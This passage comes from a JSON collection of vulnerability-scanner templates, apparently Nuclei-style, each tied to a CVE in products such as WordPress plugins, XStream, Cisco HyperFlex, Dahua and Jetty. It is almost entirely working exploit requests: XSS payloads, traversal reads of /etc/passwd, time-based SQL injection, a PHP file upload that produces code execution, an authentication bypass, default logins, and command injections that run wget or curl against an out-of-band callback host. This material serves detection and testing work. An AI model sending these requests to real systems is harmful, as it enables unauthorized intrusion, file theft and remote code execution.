Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/duplicator/files/installer.cleanup.php?remove=1&package=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-2621","info":{"name":"Telaen => v1.3.1 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/telaen/redir.php?https://interact.sh","{{BaseURL}}/redir.php?https://interact.sh"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2013-6281","info":{"name":"WordPress Spreadsheet - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/dhtmlxspreadsheet/codebase/spreadsheet.php?page=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["page: ''","dhx_rel_path"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-3827","info":{"name":"Javafaces LFI","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/costModule/faces/javax.faces.resource/web.xml?loc=../WEB-INF","{{BaseURL}}/costModule/faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=..","{{BaseURL}}/faces/javax.faces.resource/web.xml?loc=../WEB-INF","{{BaseURL}}/faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=..","{{BaseURL}}/secureader/javax.faces.resource/web.xml?loc=../WEB-INF","{{BaseURL}}/secureader/javax.faces.resource./WEB-INF/web.xml.jsf?ln=..","{{BaseURL}}/myaccount/javax.faces.resource/web.xml?loc=../WEB-INF","{{BaseURL}}/myaccount/javax.faces.resource./WEB-INF/web.xml.jsf?ln=..","{{BaseURL}}/SupportPortlet/faces/javax.faces.resource/web.xml?loc=../WEB-INF","{{BaseURL}}/SupportPortlet/faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.."],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-7285","info":{"name":"XStream <1.4.6/1.4.10 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\n\n\n    foo\n    \n      java.lang.Comparable\n      \n          \n              \n                curl\n                http://{{interactsh-url}}\n              \n          \n          start\n      \n  \n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: curl"]}]}]},{"id":"CVE-2021-32172","info":{"name":"Maian Cart <=3.8 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /admin/index.php?p=ajax-ops&op=elfinder&cmd=mkfile&name={{randstr}}.php&target=l1_Lw HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n","POST /admin/index.php?p=ajax-ops&op=elfinder HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json, text/javascript, /; q=0.01\nAccept-Language: en-US,en;q=0.5\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\ncmd=put&target={{hash}}&content=%3c%3fphp%20echo%20%22{{randstr_1}}%22%3b%20%3f%3e\n","GET /product-downloads/{{randstr}}.php HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(body_3, \"{{randstr_1}}\")","status_code_3 == 200"],"condition":"and"}],"extractors":[{"type":"regex","name":"hash","group":1,"regex":["\"hash\"\\:\"(.*?)\"\\,"],"internal":true}]}]},{"id":"CVE-2021-33044","info":{"name":"Dahua IPC/VTH/VTO - Authentication Bypass","severity":"critical"},"requests":[{"raw":["POST /RPC2_Login HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json, text/javascript, */*; q=0.01\nConnection: close\nX-Requested-With: XMLHttpRequest\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}\n\n{\"id\": 1, \"method\": \"global.login\", \"params\": {\"authorityType\": \"Default\", \"clientType\": \"NetKeyboard\", \"loginType\": \"Direct\", \"password\": \"Not Used\", \"passwordType\": \"Default\", \"userName\": \"admin\"}, \"session\": 0}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"result\":true","id","params","session"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":[",\"result\":true,\"session\":\"([a-z]+)\"\\}"],"part":"body"}]}]},{"id":"CVE-2021-35250","info":{"name":"SolarWinds Serv-U 15.3 - Directory Traversal","severity":"high"},"requests":[{"raw":["POST /?Command=NOOP&InternalFile=../../../../../../../../../../../../../../Windows/win.ini&NewWebClient=1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n/?Command=NOOP\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["\\[(font|extension|file)s\\]"]},{"type":"status","status":[401]}]}]},{"id":"CVE-2021-24862","info":{"name":"WordPress RegistrationMagic <5.0.1.6 - Authenticated SQL Injection","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","@timeout: 10s\nGET /wp-admin/admin-ajax.php?action=ays_sccp_results_export_file&sccp_id[]=3)%20AND%20(SELECT%205921%20FROM%20(SELECT(SLEEP(6)))LxjM)%20AND%20(7754=775&type=json HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/custom-registration-form-builder-with-submission-manager/admin/js/script_rm_utilities.js HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["duration_2>=6","status_code_2 == 200","contains(body_3, \"rm_user_role_mananger_form\")"],"condition":"and"}]}]},{"id":"CVE-2021-34429","info":{"name":"Eclipse Jetty - Information Disclosure","severity":"medium"},"requests":[{"raw":["GET /%u002e/WEB-INF/web.xml HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\n\n","GET /.%00/WEB-INF/web.xml HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\n\n"],"unsafe":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","java.sun.com"],"condition":"and"},{"type":"word","part":"header","words":["application/xml"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-34640","info":{"name":"WordPress Securimage-WP-Fixed <=3.5.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET //wp-admin/options-general.php/\">/script%3E?page=securimage-wp-options%2F HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-31249","info":{"name":"CHIYU TCP/IP Converter - Carriage Return Line Feed Injection","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/man.cgi?redirect=setting.htm%0d%0a%0d%0a&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=&TF_port=&B_mac_apply=APPLY"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["Location: setting.htm",""],"condition":"and"},{"type":"status","status":[302]}]}]},{"id":"CVE-2021-24472","info":{"name":"Onair2 < 3.9.9.2 & KenthaRadio < 2.0.2 - Remote File Inclusion/Server-Side Request Forgery","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp1/home-18/?qtproxycall=https://oast.me"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["
 Interactsh Server 
"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-26475","info":{"name":"EPrints 3.4.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi/cal?year=2021%3C/title%3E%3Cscript%3Ealert(%27{{randstr}}%27)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24387","info":{"name":"WordPress Pro Real Estate 7 Theme <3.1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /?ct_mobile_keyword&ct_keyword&ct_city&ct_zipcode&search-listings=true&ct_price_from&ct_price_to&ct_beds_plus&ct_baths_plus&ct_sqft_from&ct_sqft_to&ct_lotsize_from&ct_lotsize_to&ct_year_from&ct_year_to&ct_community=%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&ct_mls&ct_brokerage=0&lat&lng HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\nConnection: close\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","/wp-content/themes/realestate"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-46379","info":{"name":"D-Link DIR850 ET850-1.08TRb03 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/boafrm/formWlanRedirect?redirect-url=http://interact.sh&wlan_id=1"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2021-27561","info":{"name":"YeaLink DM 3.6.0.20 - Remote Command Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id;"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["uid","gid","groups"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","regex":["(u|g)id=.*"]}]}]},{"id":"CVE-2021-24291","info":{"name":"WordPress Photo Gallery by 10Web <1.5.69 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=bwg_frontend_data&shortcode_id=1\"%20onmouseover=alert(document.domain)//"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","words":["onmouseover=alert(document.domain)//","wp-content/uploads/photo-gallery"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-27309","info":{"name":"Clansphere CMS 2011.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/mods/clansphere/lang_modvalidate.php?language=language&module=module%22>"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">.php"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-37216","info":{"name":"QSAN Storage Manager <3.3.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/http_header.php"],"headers":{"X-Trigger-XSS":""},"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["!contains(tolower(header), 'x-xss-protection')"]},{"type":"word","part":"body","words":["\"HTTP_X_TRIGGER_XSS\":\"\""]},{"type":"word","part":"header","words":["text/html"]}]}]},{"id":"CVE-2021-37833","info":{"name":"Hotel Druid 3.0.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/visualizza_tabelle.php?anno=2021&tipo_tabella=prenotazioni&sel_tab_prenota=tutte&wo03b%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ew5px3=1","{{BaseURL}}/storia_soldi.php?piu17%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ee3esq=1","{{BaseURL}}/tabella.php?jkuh3%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Eyql8b=1","{{BaseURL}}/crea_modelli.php?anno=2021&id_sessione=&fonte_dati_conn=attuali&T_PHPR_DB_TYPE=postgresql&T_PHPR_DB_NAME=%C2%9E%C3%A9e&T_PHPR_DB_HOST=localhost&T_PHPR_DB_PORT=5432&T_PHPR_DB_USER=%C2%9E%C3%A9e&T_PHPR_DB_PASS=%C2%9E%C3%A9e&T_PHPR_LOAD_EXT=NO&T_PHPR_TAB_PRE=%C2%9E%C3%A9e&anno_modello=2021&lingua_modello=en&cambia_frasi=SIipq85%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ef9xkbujgt24&form_availability_calendar_template=1"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24407","info":{"name":"WordPress Jannah Theme <5.4.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\naction=tie_ajax_search&query[]=\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-25112","info":{"name":"WordPress WHMCS Bridge <6.4b - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/options-general.php?page=cc-ce-bridge-cp&error=%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-21389","info":{"name":"BuddyPress REST API  <7.2.1 - Privilege Escalation/Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /wp-json/buddypress/v1/signup HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json; charset=UTF-8\n\n{\n  \"user_login\":\"{{randstr}}\",\n  \"password\":\"{{randstr}}\",\n  \"user_name\":\"{{randstr}}\",\n  \"user_email\":\"{{randstr}}@interact.sh\"\n}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["user_login","registered","activation_key","user_email"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-45380","info":{"name":"AppCMS - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/templates/m/inc_head.php?q=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"\">"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-28854","info":{"name":"VICIdial Sensitive Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/agc/vicidial_mysqli_errors.txt"],"matchers-condition":"and","matchers":[{"type":"word","words":["text/plain"],"part":"header"},{"type":"status","status":[200]},{"type":"word","words":["vdc_db_query"],"part":"body"}]}]},{"id":"CVE-2021-44451","info":{"name":"Apache Superset <=1.3.2 - Default Login","severity":"medium"},"requests":[{"raw":["GET /login/ HTTP/1.1\nHost: {{Hostname}}\n","POST /login/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ncsrf_token={{csrf_token}}&username={{username}}&password={{password}}\n","GET /dashboard/list/ HTTP/1.1\nHost: {{Hostname}}\n"],"payloads":{"username":["admin"],"password":["admin"]},"attack":"pitchfork","cookie-reuse":true,"req-condition":true,"matchers-condition":"and","matchers":[{"type":"word","part":"header_2","words":["session"]},{"type":"word","part":"body_3","words":["DashboardFilterStateRestApi"]}],"extractors":[{"type":"regex","name":"csrf_token","group":1,"regex":["name=\"csrf_token\" type=\"hidden\" value=\"(.*)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2021-24946","info":{"name":"WordPress Modern Events Calendar <6.1.5 - Blind SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nGET /wp-admin/admin-ajax.php?action=mec_load_single_page&time=1))%20UNION%20SELECT%20sleep(6)%20--%20g HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200 || status_code == 500","contains(content_type, \"text/html\")","contains(body, \"The event is finished\") || contains(body, \"been a critical error\")"],"condition":"and"}]}]},{"id":"CVE-2021-32305","info":{"name":"Websvn <2.6.1 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /search.php?search=%22;wget+http%3A%2F%2F{{interactsh-url}}%27;%22 HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nAccept: */*\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2021-40960","info":{"name":"Galera WebTemplate 1.0 Directory Traversal","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/GallerySite/filesrc/fotoilan/388/middle//.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-29505","info":{"name":"XStream <1.4.17 - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\n\n\n    \n    \n        \n            2\n        \n        3\n        \n            12345\n            \n                com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content\n            \n        \n        \n            12345\n            \n                \n                    true\n                    SOAP_11\n                    \n                    \n                        false\n                        \n                            \n                                \n                                    \n                                        aa\n                                        aa\n                                    \n                                    \n                                        \n                                        \n                                            \n                                                UnicastRef\n                                                {{interactsh-url}}\n                                                1099\n                                                0\n                                                0\n                                                0\n                                                0\n                                                false\n                                            \n                                        \n                                        {{interactsh-url}}\n                                        1099\n                                    \n                                \n                            \n                        \n                    \n                \n            \n        \n    \n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["timestamp","com.thoughtworks.xstream"],"condition":"or"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2021-1498","info":{"name":"Cisco HyperFlex HX Data Platform - Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /storfs-asup HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\naction=&token=`wget http://{{interactsh-url}}`&mode=`wget http://{{interactsh-url}}`\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-31856","info":{"name":"Layer5 Meshery 0.5.2 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/experimental/patternfile?order=id%3Bselect(md5({{num}}))&page=0&page_size=0"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-28937","info":{"name":"Acexy Wireless-N WiFi Repeater REV 1.0 - Repeater Password Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/password.html"],"matchers-condition":"and","matchers":[{"type":"word","words":["Password Setting","addCfg('username'","addCfg('newpass'"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-43725","info":{"name":"Spotweb <= 1.5.1 - Cross Site Scripting (Reflected)","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?data[performredirect]=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&page=login"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["value=\"\">","name=\"data[performredirect]"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-36873","info":{"name":"WordPress iQ Block Country <=1.2.11 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/options.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\noption_page=iqblockcountry-settings-group&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Diq-block-country%2Flibs%2Fblockcountry-settings.php&blockcountry_blockmessage=test&blockcountry_redirect=2&blockcountry_redirect_url=&blockcountry_header=on&blockcountry_nrstatistics=15&blockcountry_daysstatistics=30&blockcountry_geoapikey=&blockcountry_apikey=&blockcountry_ipoverride=NONE&blockcountry_debuglogging=on\n","GET /wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(header_4, \"text/html\")","status_code_4 == 200","contains(body_4, 'blockcountry_blockmessage\\\">test')","contains(body_4, '
Block type
')"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["name=\"_wpnonce\" value=\"([0-9a-zA-Z]+)\""],"internal":true}]}]},{"id":"CVE-2021-21287","info":{"name":"MinIO Browser API - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["POST /minio/webrpc HTTP/1.1\nHost: {{interactsh-url}}\nContent-Type: application/json\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36\nContent-Length: 76\n\n{\"id\":1,\"jsonrpc\":\"2.0\",\"params\":{\"token\":  \"Test\"},\"method\":\"web.LoginSTS\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","words":["We encountered an internal error"]}]}]},{"id":"CVE-2021-41878","info":{"name":"i-Panel Administration System 2.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/lostpassword.php/n4gap%22%3E%3Cimg%20src=a%20onerror=alert(%22document.domain%22)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[">","i-Panel Administration"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-23241","info":{"name":"MERCUSYS Mercury X18G 1.0.5 Router - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/loginLess/../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-20124","info":{"name":"Draytek VigorConnect 6.0-B3 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../etc/passwd","{{BaseURL}}/ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../windows/win.ini"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/octet-stream"]},{"type":"regex","regex":["root:.*:0:0:","for 16-bit app support"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-37304","info":{"name":"Jeecg Boot <= 2.4.5 - Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/jeecg-boot/actuator/httptrace/"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"traces\":[","\"headers\"","\"request\":{"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24227","info":{"name":"Patreon WordPress  <1.7.0 - Unauthenticated Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/?patron_only_image=../../../../../../../../../../etc/passwd&patreon_action=serve_patron_only_image"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24436","info":{"name":"WordPress W3 Total Cache <2.1.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=w3tc_extensions&extension=\"%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, '>&action=view')","contains(header_2, \"text/html\")"],"condition":"and"}]}]},{"id":"CVE-2021-36749","info":{"name":"Apache Druid - Local File Inclusion","severity":"medium"},"requests":[{"raw":["POST /druid/indexer/v1/sampler?for=connect HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"type\":\"index\",\"spec\":{\"type\":\"index\",\"ioConfig\":{\"type\":\"index\",\"firehose\":{\"type\":\"http\",\"uris\":[\" file:///etc/passwd \"]}},\"dataSchema\":{\"dataSource\":\"sample\",\"parser\":{\"type\":\"string\", \"parseSpec\":{\"format\":\"regex\",\"pattern\":\"(.*)\",\"columns\":[\"a\"],\"dimensionsSpec\":{},\"timestampSpec\":{\"column\":\"no_ such_ column\",\"missingValue\":\"2010-01-01T00:00:00Z\"}}}}},\"samplerConfig\":{\"numRows\":500,\"timeoutMs\":15000}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:","druid:*:1000:1000:"],"condition":"or"}]}]},{"id":"CVE-2021-35464","info":{"name":"ForgeRock OpenAM <7.0 - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/openam/oauth2/..;/ccversion/Version"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["Set-Cookie: JSESSIONID="]},{"type":"word","part":"body","words":["Version Information -","openam/ccversion/Masthead.jsp"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-31862","info":{"name":"SysAid 20.4.74 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/KeepAlive.jsp?stamp=%3Cscript%3Ealert(document.domain)%3C/script%3E"],"matchers":[{"type":"dsl","dsl":["(body == \"false \")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2021-20323","info":{"name":"Keycloak 10.0.0 - 18.0.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"POST","path":["{{BaseURL}}/auth/realms/master/clients-registrations/default","{{BaseURL}}/auth/realms/master/clients-registrations/openid-connect","{{BaseURL}}/realms/master/clients-registrations/default","{{BaseURL}}/realms/master/clients-registrations/openid-connect"],"body":"{\"Test\":1}","stop-at-first-match":true,"headers":{"Content-Type":"application/json"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Unrecognized field \"Test"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[400]}]}]},{"id":"CVE-2021-25052","info":{"name":"WordPress Button Generator <2.3.3 - Remote File Inclusion","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=wow-company&tab=http://{{interactsh-url}}/ HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","name":"http","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-22214","info":{"name":"Gitlab CE/EE 10.5 - Server-Side Request Forgery","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/api/v4/ci/lint?include_merged_yaml=true"],"body":"{\"content\": \"include:\\n  remote: http://127.0.0.1:9100/test.yml\"}\n","headers":{"Content-Type":"application/json"},"host-redirects":true,"max-redirects":3,"matchers":[{"type":"word","part":"body","words":["does not have valid YAML syntax"]}]}]},{"id":"CVE-2021-24731","info":{"name":"Pie Register < 3.7.1.6 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nPOST /wp-json/pie/v1/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; 